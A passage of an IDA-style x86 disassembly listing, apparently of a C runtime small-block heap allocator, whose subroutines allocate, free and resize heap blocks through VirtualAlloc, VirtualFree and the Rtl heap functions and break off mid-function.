loc_41E2A1: ; CODE XREF: sub_41E0C2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E2DB
; ---------------------------------------------------------------------------
loc_41E2B2: ; CODE XREF: sub_41E0C2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E2C8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E2C8: ; CODE XREF: sub_41E0C2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E2DB: ; CODE XREF: sub_41E0C2+192j
; sub_41E0C2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E3E6
mov eax, ds:dword_4DF534
test eax, eax
jz loc_41E3D8
mov ecx, ds:dword_4DF52C
mov esi, ds:dword_4281C4
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, ds:dword_4DF52C
mov eax, ds:dword_4DF534
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_4DF534
mov ecx, ds:dword_4DF52C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_4DF534
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_4DF534
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E369
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_4DF534
loc_41E369: ; CODE XREF: sub_41E0C2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E3D8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, ds:dword_4DF534
push dword ptr [eax+10h]
push 0
push ds:dword_4DF544
call ds:dword_428144 ; RtlFreeHeap
mov eax, ds:dword_4DF538
mov edx, ds:dword_4DF53C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_4DF534
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CE80
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_4DF538
cmp eax, ds:dword_4DF534
jbe short loc_41E3CE
sub [ebp+arg_0], 14h
loc_41E3CE: ; CODE XREF: sub_41E0C2+306j
mov eax, ds:dword_4DF53C
mov ds:dword_4DF530, eax
loc_41E3D8: ; CODE XREF: sub_41E0C2+234j
; sub_41E0C2+2ABj
mov eax, [ebp+arg_0]
mov ds:dword_4DF52C, edi
mov ds:dword_4DF534, eax
loc_41E3E6: ; CODE XREF: sub_41E0C2+38j
; sub_41E0C2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E0C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E3EB proc near ; CODE XREF: sub_41B3F2+77p
; sub_41B703+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_4DF538
mov edx, ds:dword_4DF53C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E42B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E43B
; ---------------------------------------------------------------------------
loc_41E42B: ; CODE XREF: sub_41E3EB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E43B: ; CODE XREF: sub_41E3EB+3Ej
mov eax, ds:dword_4DF530
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E462
loc_41E449: ; CODE XREF: sub_41E3EB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E462
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E449
loc_41E462: ; CODE XREF: sub_41E3EB+5Cj
; sub_41E3EB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E4E0
mov ebx, edx
loc_41E469: ; CODE XREF: sub_41E3EB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E485
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E483
add ebx, 14h
jmp short loc_41E469
; ---------------------------------------------------------------------------
loc_41E483: ; CODE XREF: sub_41E3EB+91j
cmp ebx, eax
loc_41E485: ; CODE XREF: sub_41E3EB+83j
jnz short loc_41E4E0
loc_41E487: ; CODE XREF: sub_41E3EB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E49D
cmp dword ptr [ebx+8], 0
jnz short loc_41E49A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E487
; ---------------------------------------------------------------------------
loc_41E49A: ; CODE XREF: sub_41E3EB+A5j
cmp ebx, [ebp+var_4]
loc_41E49D: ; CODE XREF: sub_41E3EB+9Fj
jnz short loc_41E4C5
mov ebx, edx
loc_41E4A1: ; CODE XREF: sub_41E3EB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E4B5
cmp dword ptr [ebx+8], 0
jnz short loc_41E4B3
add ebx, 14h
jmp short loc_41E4A1
; ---------------------------------------------------------------------------
loc_41E4B3: ; CODE XREF: sub_41E3EB+C1j
cmp ebx, eax
loc_41E4B5: ; CODE XREF: sub_41E3EB+BBj
jnz short loc_41E4C5
call sub_41E6F4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E4D9
loc_41E4C5: ; CODE XREF: sub_41E3EB:loc_41E49Dj
; sub_41E3EB:loc_41E4B5j
push ebx
call sub_41E7A5
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E4E0
loc_41E4D9: ; CODE XREF: sub_41E3EB+D8j
xor eax, eax
jmp loc_41E6EF
; ---------------------------------------------------------------------------
loc_41E4E0: ; CODE XREF: sub_41E3EB+7Aj
; sub_41E3EB:loc_41E485j ...
mov ds:dword_4DF530, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E507
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E53E
loc_41E507: ; CODE XREF: sub_41E3EB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E53B
loc_41E524: ; CODE XREF: sub_41E3EB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E524
loc_41E53B: ; CODE XREF: sub_41E3EB+137j
mov edx, [ebp+var_4]
loc_41E53E: ; CODE XREF: sub_41E3EB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E567
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E567: ; CODE XREF: sub_41E3EB+16Dj
; sub_41E3EB+183j
test ecx, ecx
jl short loc_41E570
shl ecx, 1
inc edi
jmp short loc_41E567
; ---------------------------------------------------------------------------
loc_41E570: ; CODE XREF: sub_41E3EB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E58D
push 3Fh
pop esi
loc_41E58D: ; CODE XREF: sub_41E3EB+19Dj
cmp esi, edi
jz loc_41E6A2
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E5FE
cmp edi, 20h
jge short loc_41E5CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E5FB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E5FE
; ---------------------------------------------------------------------------
loc_41E5CD: ; CODE XREF: sub_41E3EB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E5FB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E5FE
; ---------------------------------------------------------------------------
loc_41E5FB: ; CODE XREF: sub_41E3EB+1D6j
; sub_41E3EB+203j
mov ebx, [ebp+arg_0]
loc_41E5FE: ; CODE XREF: sub_41E3EB+1B0j
; sub_41E3EB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E6AE
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E69F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E670
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E65E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E65E: ; CODE XREF: sub_41E3EB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E69F
; ---------------------------------------------------------------------------
loc_41E670: ; CODE XREF: sub_41E3EB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E689
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E689: ; CODE XREF: sub_41E3EB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E69F: ; CODE XREF: sub_41E3EB+24Ej
; sub_41E3EB+283j
mov ecx, [ebp+var_8]
loc_41E6A2: ; CODE XREF: sub_41E3EB+1A4j
test ecx, ecx
jz short loc_41E6B1
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E6B1
; ---------------------------------------------------------------------------
loc_41E6AE: ; CODE XREF: sub_41E3EB+229j
mov ecx, [ebp+var_8]
loc_41E6B1: ; CODE XREF: sub_41E3EB+2B9j
; sub_41E3EB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E6E7
cmp ebx, ds:dword_4DF534
jnz short loc_41E6E7
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4DF52C
jnz short loc_41E6E7
and ds:dword_4DF534, 0
loc_41E6E7: ; CODE XREF: sub_41E3EB+2E0j
; sub_41E3EB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E6EF: ; CODE XREF: sub_41E3EB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E3EB endp
; =============== S U B R O U T I N E =======================================
sub_41E6F4 proc near ; CODE XREF: sub_41E3EB+CCp
mov eax, ds:dword_4DF538
mov ecx, ds:dword_4DF528
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E737
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_4DF53C
push edi
push ds:dword_4DF544
call ds:dword_42819C ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41E787
add ds:dword_4DF528, 10h
mov ds:dword_4DF53C, eax
mov eax, ds:dword_4DF538
loc_41E737: ; CODE XREF: sub_41E6F4+11j
mov ecx, ds:dword_4DF53C
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_4DF544
lea esi, [ecx+eax*4]
call ds:dword_428148 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E787
push 4
push 2000h
push 100000h
push edi
call ds:dword_4281C8 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E78B
push dword ptr [esi+10h]
push edi
push ds:dword_4DF544
call ds:dword_428144 ; RtlFreeHeap
loc_41E787: ; CODE XREF: sub_41E6F4+30j
; sub_41E6F4+67j
xor eax, eax
jmp short loc_41E7A2
; ---------------------------------------------------------------------------
loc_41E78B: ; CODE XREF: sub_41E6F4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_4DF538
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E7A2: ; CODE XREF: sub_41E6F4+95j
pop edi
pop esi
retn
sub_41E6F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E7A5 proc near ; CODE XREF: sub_41E3EB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E7B7: ; CODE XREF: sub_41E7A5+19j
test eax, eax
jl short loc_41E7C0
shl eax, 1
inc ebx
jmp short loc_41E7B7
; ---------------------------------------------------------------------------
loc_41E7C0: ; CODE XREF: sub_41E7A5+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E7D5: ; CODE XREF: sub_41E7A5+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E7D5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_4281C8 ; VirtualAlloc
test eax, eax
jnz short loc_41E808
or eax, 0FFFFFFFFh
jmp loc_41E89B
; ---------------------------------------------------------------------------
loc_41E808: ; CODE XREF: sub_41E7A5+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E84E
lea eax, [edi+10h]
loc_41E815: ; CODE XREF: sub_41E7A5+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E815
loc_41E84E: ; CODE XREF: sub_41E7A5+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E88B
or [eax+4], edi
loc_41E88B: ; CODE XREF: sub_41E7A5+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E89B: ; CODE XREF: sub_41E7A5+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E7A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E8A0 proc near ; CODE XREF: sub_41B3F2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41EA4E
test bl, 1
jnz loc_41EA47
add ebx, ecx
cmp esi, ebx
jg loc_41EA47
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E917
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E917: ; CODE XREF: sub_41E8A0+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E967
cmp ecx, 20h
jnb short loc_41E943
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E967
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E967
; ---------------------------------------------------------------------------
loc_41E943: ; CODE XREF: sub_41E8A0+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E967
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E967: ; CODE XREF: sub_41E8A0+7Dj
; sub_41E8A0+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41EA35
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E9A1
push 3Fh
pop edi
loc_41E9A1: ; CODE XREF: sub_41E8A0+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41EA23
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E9FA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E9ED
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E9ED: ; CODE XREF: sub_41E8A0+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41EA1F
; ---------------------------------------------------------------------------
loc_41E9FA: ; CODE XREF: sub_41E8A0+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EA10
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41EA10: ; CODE XREF: sub_41E8A0+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41EA1F: ; CODE XREF: sub_41E8A0+158j
shr edx, cl
or [eax], edx
loc_41EA23: ; CODE XREF: sub_41E8A0+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41EA38
; ---------------------------------------------------------------------------
loc_41EA35: ; CODE XREF: sub_41E8A0+E5j
mov edx, [ebp+arg_4]
loc_41EA38: ; CODE XREF: sub_41E8A0+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41EB8E
; ---------------------------------------------------------------------------
loc_41EA47: ; CODE XREF: sub_41E8A0+52j
; sub_41E8A0+5Cj
xor eax, eax
jmp loc_41EB91
; ---------------------------------------------------------------------------
loc_41EA4E: ; CODE XREF: sub_41E8A0+49j
jge loc_41EB8E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41EA79
push 3Fh
pop esi
loc_41EA79: ; CODE XREF: sub_41E8A0+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41EB08
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EA92
push 3Fh
pop esi
loc_41EA92: ; CODE XREF: sub_41E8A0+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41EAE1
cmp esi, 20h
jnb short loc_41EABD
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41EADE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EADE
; ---------------------------------------------------------------------------
loc_41EABD: ; CODE XREF: sub_41E8A0+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EADE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EADE: ; CODE XREF: sub_41E8A0+214j
; sub_41E8A0+21Bj ...
mov ebx, [ebp+arg_4]
loc_41EAE1: ; CODE XREF: sub_41E8A0+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EB08
push 3Fh
pop esi
loc_41EB08: ; CODE XREF: sub_41E8A0+1DDj
; sub_41E8A0+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41EB85
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41EB5C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EB4F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41EB4F: ; CODE XREF: sub_41E8A0+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41EB81
; ---------------------------------------------------------------------------
loc_41EB5C: ; CODE XREF: sub_41E8A0+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EB72
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41EB72: ; CODE XREF: sub_41E8A0+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41EB81: ; CODE XREF: sub_41E8A0+2BAj
shr edx, cl
or [eax], edx
loc_41EB85: ; CODE XREF: sub_41E8A0+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41EB8E: ; CODE XREF: sub_41E8A0+1A2j
; sub_41E8A0:loc_41EA4Ej
push 1
pop eax
loc_41EB91: ; CODE XREF: sub_41E8A0+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E8A0 endp
; =============== S U B R O U T I N E =======================================
sub_41EB96 proc near ; CODE XREF: sub_41DFF2+41p
; sub_41EE8E:loc_41F05Dp
cmp ds:dword_43CF70, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41EBAA
mov esi, offset off_43CF60
jmp short loc_41EBC7
; ---------------------------------------------------------------------------
loc_41EBAA: ; CODE XREF: sub_41EB96+Bj
push 2020h
push 0
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41ECD3
loc_41EBC7: ; CODE XREF: sub_41EB96+12j
mov ebp, ds:dword_4281C8
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41ECBC
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41ECAE
mov eax, offset off_43CF60
cmp esi, eax
jnz short loc_41EC26
cmp ds:off_43CF60, 0
jnz short loc_41EC16
mov ds:off_43CF60, eax
loc_41EC16: ; CODE XREF: sub_41EB96+79j
cmp ds:off_43CF64, 0
jnz short loc_41EC3B
mov ds:off_43CF64, eax
jmp short loc_41EC3B
; ---------------------------------------------------------------------------
loc_41EC26: ; CODE XREF: sub_41EB96+70j
mov [esi], eax
mov eax, ds:off_43CF64
mov [esi+4], eax
mov ds:off_43CF64, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EC3B: ; CODE XREF: sub_41EB96+87j
; sub_41EB96+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EC5D: ; CODE XREF: sub_41EB96+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EC5D
push ebx
push 0
push edi
call sub_41B780
add esp, 0Ch
loc_41EC86: ; CODE XREF: sub_41EB96+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41ECAA
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EC86
; ---------------------------------------------------------------------------
loc_41ECAA: ; CODE XREF: sub_41EB96+F7j
mov eax, esi
jmp short loc_41ECD5
; ---------------------------------------------------------------------------
loc_41ECAE: ; CODE XREF: sub_41EB96+63j
push 8000h
push 0
push edi
call ds:dword_4281C4 ; VirtualFree
loc_41ECBC: ; CODE XREF: sub_41EB96+4Bj
cmp esi, offset off_43CF60
jz short loc_41ECD3
push esi
push 0
push ds:dword_4DF544
call ds:dword_428144 ; RtlFreeHeap
loc_41ECD3: ; CODE XREF: sub_41EB96+2Bj
; sub_41EB96+12Cj
xor eax, eax
loc_41ECD5: ; CODE XREF: sub_41EB96+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41EB96 endp
; =============== S U B R O U T I N E =======================================
sub_41ECDA proc near ; CODE XREF: sub_41ED30+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call ds:dword_4281C4 ; VirtualFree
cmp ds:off_43EF80, esi
jnz short loc_41ECFF
mov eax, [esi+4]
mov ds:off_43EF80, eax
loc_41ECFF: ; CODE XREF: sub_41ECDA+1Bj
cmp esi, offset off_43CF60
jz short loc_41ED27
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push ds:dword_4DF544
call ds:dword_428144 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41ECDA+2Bj
or ds:dword_43CF70, 0FFFFFFFFh
pop esi
retn
sub_41ECDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED30 proc near ; CODE XREF: sub_41EE49+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
